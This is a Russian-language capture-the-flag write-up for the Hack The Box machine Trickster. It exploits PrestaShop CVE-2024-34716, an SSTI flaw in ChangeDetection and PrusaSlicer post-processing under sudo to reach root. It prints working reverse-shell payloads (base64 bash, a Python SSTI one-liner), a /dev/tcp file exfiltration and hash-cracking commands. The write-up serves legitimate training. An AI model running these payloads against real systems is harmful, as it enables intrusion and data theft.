Се­год­ня я покажу раз­ные методы побега из Docker, которые могут исполь­зовать­ся при пен­тестах. Так­же мы про­экс­плу­ати­руем баг в движ­ке интернет‑магази­на PrestaShop и исполь­зуем уяз­вимость SSTI в сер­висе ChangeDetection.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Trickster с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности задания — сред­ний.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

Разведка

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.34 trickster.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел два откры­тых пор­та:

Ско­уп очень малень­кий, поэто­му сра­зу идем смот­реть сайт.

Главная страница сайта
Глав­ная стра­ница сай­та

Точка входа

Сайт однос­тра­нич­ный, поэто­му все ссыл­ки в меню нерабо­чие, кро­ме пос­ледней, которая ведет на дру­гой домен — shop.trickster.htb.

Ошибка обращения к сайту
Ошиб­ка обра­щения к сай­ту

Об­новим запись в фай­ле /etc/hosts, а затем обно­вим и стра­ницу в бра­узе­ре.

10.10.11.34 trickster.htb shop.trickster.htb
Главная страница сайта
Глав­ная стра­ница сай­та

На сай­те ничего инте­рес­ного най­ти не уда­лось, поэто­му поищем, нет ли скры­тых стра­ниц и катало­гов.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch, DIRB или ffuf. Я пред­почитаю feroxbuster.

При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -d — глу­бина ска­ниро­вания.

За­даем все парамет­ры и запус­каем ска­ниро­вание:

feroxbuster -u http://shop.trickster.htb -w files_interesting.txt -d 1 -t 128
Результат сканирования каталогов
Ре­зуль­тат ска­ниро­вания катало­гов

Сре­ди катало­гов видим .git, и это отличная наход­ка для ата­кующе­го! С помощью git-dumper поп­робу­ем сдам­пить репози­торий.

git-dumper http://shop.trickster.htb/.git/ ./shop/
Дамп репозитория
Дамп репози­тория

В репози­тории все­го один ком­мит, а зна­чит, сто­ит заг­лянуть в исходный код. Это похоже на какую‑то CMS, при­чем с очень инте­рес­ным катало­гом админки: /admin634ewutrx1jgitlooaj.

Содержимое репозитория
Со­дер­жимое репози­тория

Пе­рехо­дим к админке и видим, что име­ем дело с PrestaShop вер­сии 8.1.5.

Страница авторизации PrestaShop
Стра­ница авто­риза­ции PrestaShop

info

Об ата­ке на PrestaShop в рам­ках реаль­ного пен­теста читай в статье «Гро­мим PrestaShop. Как я зах­ватил инсталл интернет‑магази­на на баг­баун­ти».

Точка опоры

Да­вай пос­мотрим, есть ли для этой вер­сии PrestaShop готовые экс­пло­иты.

Поиск эксплоитов в Google
По­иск экс­пло­итов в Google

Из Google быс­тро узна­ём, что PrestaShop 8.1.5 уяз­вима к CVE-2024-34716 и ата­ка может при­вес­ти к уда­лен­ному выпол­нению кода. Работа­ет это так: если на стра­ницу /contact-us отпра­вить вло­жение в фор­мате PNG со встро­енным кодом на JavaScript, то при прос­мотре в бра­узе­ре код выпол­нится. С помощью кода на JS выпол­няет­ся зап­рос к панели адми­нис­три­рова­ния:

/admin/index.php/improve/design/themes/import

В резуль­тате импорти­рует­ся модуль с PHP-наг­рузкой, которая при­водит к RCE. Все это уже реали­зова­но в экс­пло­ите.

Инструкция к эксплоиту
Инс­трук­ция к экс­пло­иту

Од­нако для экс­плу­ата­ции нуж­но ука­зать поч­товый адрес. Его най­дем на стра­нице интернет‑магази­на.

Меню сайта
Ме­ню сай­та

За­пус­каем экс­пло­ит, ука­зав необ­ходимые парамет­ры, и через нес­коль­ко секунд получа­ем сес­сию поль­зовате­ля Linux на веб‑сер­вере.

python3 exploit.py --url http://shop.trickster.htb --email admin@trickster.htb --local-ip 10.10.16.37 --admin-path admin634ewutrx1jgitlooaj
Эксплуатация уязвимости
Экс­плу­ата­ция уяз­вимос­ти
Сессия пользователя
Сес­сия поль­зовате­ля

Продвижение

Пользователь james

Так как мы работа­ем от име­ни служ­бы веб‑сер­вера и на нем раз­верну­то веб‑при­ложе­ние, поп­робу­ем получить мак­сималь­ное количес­тво учет­ных дан­ных. Пер­вым делом прос­мотрим файл, в котором обыч­но содер­жится информа­ция для под­клю­чения к базе дан­ных.

cat /var/www/prestashop/app/config/parameters.php
Содержимое файла parameters.php
Со­дер­жимое фай­ла parameters.php

Что­бы работать с базой дан­ных, нуж­на инте­рак­тивная коман­дная обо­лоч­ка. Для это­го запус­каем лис­тенер (pwncat-cs -lp 4321) и выпол­няем обыч­ный реверс‑шелл, закоди­рован­ный в Base64.

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zNy80MzIxIDA+JjE= | base64 -d | bash

Ког­да сес­сия pwncat будет соз­дана, под­клю­чим­ся к MySQL и прос­мотрим, какие есть базы дан­ных.

mysql -h 127.0.0.1 -u ps_user -p'prest@shop_o'
show databases;
Базы данных
Ба­зы дан­ных

Нас инте­ресу­ет база prestashop, получим из нее таб­лицы.

use prestashop;
show tables;
Таблицы в базе prestashop
Таб­лицы в базе prestashop

Ско­рее все­го, нам нуж­на таб­лица ps_employee. Получим все дан­ные из нее.

select * from ps_employee;
Данные в таблице ps_employee
Дан­ные в таб­лице ps_employee

Те­перь у нас на руках два хеша bcrypt. Отправ­ляем хеш поль­зовате­ля james в hashcat на перебор по сло­варю.

hashcat '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' rockyou.txt

Ути­лита не рас­позна­ла алго­ритм хеширо­вания и пред­ложила нес­коль­ко вари­антов.

Режимы hashcat
Ре­жимы hashcat

Сно­ва запус­тим hashcat, но в этот раз ука­зыва­ем режим 3200.

hashcat -m 3200 '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' rockyou.txt
Результат подбора пароля
Ре­зуль­тат под­бора пароля

У поль­зовате­ля, пароль которо­го мы получи­ли, есть коман­дная обо­лоч­ка в сис­теме.

cat /etc/passwd | grep bash
Пользователи с командной оболочкой
Поль­зовате­ли с коман­дной обо­лоч­кой

Ав­торизу­емся по SSH и забира­ем пер­вый флаг.

Флаг пользователя
Флаг поль­зовате­ля

RCE in Docker

Те­перь нам необ­ходимо соб­рать информа­цию. Я обыч­но исполь­зую для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Заг­рузим на уда­лен­ный хост скрипт для Linux, дадим ему пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе мно­го информа­ции, но выделить что‑то осо­бен­ное не уда­лось. Одна­ко на хос­те работа­ют Docker-кон­тей­неры, поэто­му мы можем прос­каниро­вать сеть с интерфей­са docker0.

Сетевые интерфейсы
Се­тевые интерфей­сы

Заг­ружа­ем на хост бинарь Nmap и опре­деля­ем в сети живые хос­ты.

./nmap 172.17.0.1/24 -sn
Результат сканирования сети
Ре­зуль­тат ска­ниро­вания сети

Те­перь ска­ниру­ем пер­вые 10 000 пор­тов на хос­те 172.17.0.2.

./nmap -p 1-10000 172.17.0.2
Результат сканирования портов
Ре­зуль­тат ска­ниро­вания пор­тов

И находим сре­ди них все­го один откры­тый. Что­бы получить к нему дос­туп, нам нуж­но будет «про­кинуть» порт 5000 на свой хост с помощью SSH.

ssh -L 5000:172.17.0.2:5000 james@trickster.htb

В резуль­тате весь тра­фик, который мы пош­лем на локаль­ный порт 5000, будет тун­нелиро­ван на порт 5000 ука­зан­ного хос­та (в дан­ном слу­чае 172.17.0.2) через SSH-хост.

Те­перь прос­мотрим сайт через бра­узер. Нас встре­чает стра­ница авто­риза­ции ChangeDetection 0.45.20.

Страница авторизации
Стра­ница авто­риза­ции

А раз мы сно­ва стол­кну­лись с каким‑то хоть сколь­ко‑то популяр­ным соф­том и зна­ем его вер­сию, нуж­но сра­зу поис­кать, нет ли для него извес­тных уяз­вимос­тей.

Поиск эксплоитов в Google
По­иск экс­пло­итов в Google

Так мы узна­ём, что в нашей вер­сии ChangeDetection есть уяз­вимость SSTI — вклю­чения шаб­лонов на сто­роне сер­вера.

Справка: Server-Side Template Injection

Server-Side Template Injection (SSTI), или инъ­екция шаб­лонов на сто­роне сер­вера, — это механизм ата­ки, при котором зло­умыш­ленник внед­ряет в шаб­лон вре­донос­ный код. Шаб­лоны нуж­ны веб‑раз­работ­чикам, что­бы мож­но было нас­тра­ивать внеш­ний вид сай­та толь­ко в одном мес­те и затем не копиро­вать вруч­ную. По сути, шаб­лон — это документ HTML, где в нуж­ных мес­тах отме­чены перемен­ные и коман­ды, которые при генера­ции ито­говой стра­ницы будут замене­ны дан­ными. В том чис­ле это могут быть и дан­ные, получен­ные от посети­теля сай­та.

Ата­ка зат­рагива­ет момент, ког­да прис­ланная информа­ция объ­еди­няет­ся с шаб­лоном. Зло­умыш­ленник фор­миру­ет стро­ку таким обра­зом, что­бы она не прос­то под­ста­вилась в шаб­лон, а была интер­пре­тиро­вана как код. Если это воз­можно, то он добавит свои дирек­тивы, с помощью которых выпол­нит эксфиль­тра­цию дан­ных или даже зах­ват веб‑сер­вера.

Для экс­плу­ата­ции нам понадо­бит­ся авто­ризо­вать­ся на сер­висе. У меня это получи­лось сде­лать с помощью пароля поль­зовате­ля james.

Главная страница сервиса
Глав­ная стра­ница сер­виса

Пе­рей­дем к изме­нению любой из записей. Нас инте­ресу­ют нас­трой­ки Notifications. Ука­зыва­ем URL, заголо­вок уве­дом­ления и наг­рузку SSTI с реверс‑шел­лом — в тек­сте уве­дом­ления.

{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.37",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'') }}

За­тем запус­каем лис­тенер у себя (сно­ва pwncat-cs -lp 4321) и отправ­ляем уве­дом­ление в тес­товом режиме. В окне лис­тенера получа­ем при­виле­гиро­ван­ную сес­сию в кон­тей­нере Docker.

Эксплуатация SSTI
Экс­плу­ата­ция SSTI
Сессия root
Сес­сия root

Docker credentials dumping

У нас рут в «Докере», а зна­чит, нуж­но изу­чить, что есть в фай­ловой сис­теме. В катало­ге /datastore/Backups находим бэкапы ChangeDetection.

Бэкапы ChangeDetection
Бэ­капы ChangeDetection

Что­бы получить файл из уда­лен­ного кон­тей­нера, можем исполь­зовать netcat. Для это­го вывод с netcat на локаль­ной машине перенап­равля­ем в файл.

nc -l -p 4444 -q 1 > changedetection-backup-20240830194841.zip

В кон­тей­нере же содер­жимое фай­ла нап­равля­ем в соот­ветс­тву­ющий сокет.

cat changedetection-backup-20240830194841.zip > /dev/tcp/10.10.16.37/4444

Так сох­раня­ем архив на локаль­ную машину и находим какой‑то файл .txt.br.

Содержимое архива
Со­дер­жимое архи­ва

Это фор­мат Brotli, который мож­но пре­обра­зовать на онлай­новом сер­висе myl.moe.

Декодирование файла
Де­коди­рова­ние фай­ла

В декоди­рован­ном фай­ле находим учет­ные дан­ные поль­зовате­ля adam.

Содержимое декодированного файла
Со­дер­жимое декоди­рован­ного фай­ла

С получен­ными учет­ными дан­ными уда­ется под­клю­чить­ся по SSH.

Сессия пользователя adam
Сес­сия поль­зовате­ля adam

Локальное повышение привилегий

Раз­ведку мы уже про­води­ли, поэто­му оста­ется не так мно­го инте­рес­ных мест, которые мож­но про­верить в поис­ках пути для повыше­ния при­виле­гий. Пер­вое из них — это файл sudoers. Прос­матри­ваем его через sudo -l.

Настройки sudoers
Нас­трой­ки sudoers

При­ложе­ние /opt/PrusaSlicer/prusaslicer мож­но выпол­нять в при­виле­гиро­ван­ном кон­тек­сте без вво­да пароля. Сра­зу про­верим, нет ли для этой ути­литы экс­пло­итов или тех­ник GTFOBins.

Поиск эксплоитов для PrusaSlicer в Google
По­иск экс­пло­итов для PrusaSlicer в Google

Уз­наём, что в PrusaSlicer 2.6.1 есть RCE — уяз­вимость выпол­нения про­изволь­ного кода. Про­верим вер­сию ути­литы на хос­те.

Справка help
Справ­ка help

На хос­те как раз под­ходящая вер­сия, поэто­му раз­берем­ся с уяз­вимостью. Как сле­дует из опи­сания Exploit DB, файл про­екта PrusaSlicer 3mf пред­став­ляет собой ZIP-архив и содер­жит файл Metadata/Slic3r_PE.config с нас­трой­ками про­екта. Нас­трой­ка post_process ука­зыва­ет коман­ду пос­тобра­бот­ки про­екта, которая выпол­нится в тер­минале при экспор­те G-кода.

Описание уязвимости
Опи­сание уяз­вимос­ти

Я поис­кал в интерне­те при­меры фай­лов 3mf и исполь­зовал пер­вый попав­ший­ся. Рас­паковы­ваем ZIP, откры­ваем файл Metadata/Slic3r_PE.config, находим нас­трой­ку post_process и записы­ваем туда коман­ду chmod u+s /bin/bash. Она наз­начит S-бит фай­лу коман­дной обо­лоч­ки bash.

Содержимое файла конфигураций
Со­дер­жимое фай­ла кон­фигура­ций

Ар­хивиру­ем про­ект обратно, копиру­ем его файл на уда­лен­ный сер­вер и выпол­няем экспорт G-кода, конеч­но же, через sudo. Пос­ле завер­шения работы ути­литы обна­ружим, что файл /bin/bash получил S-бит.

sudo /opt/PrusaSlicer/prusaslicer -s skull_2.3mf
Эксплуатация уязвимости
Экс­плу­ата­ция уяз­вимос­ти

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

Те­перь мы можем запус­тить новую обо­лоч­ку от име­ни поль­зовате­ля root.

Флаг рута
Флаг рута

Ма­шина зах­вачена!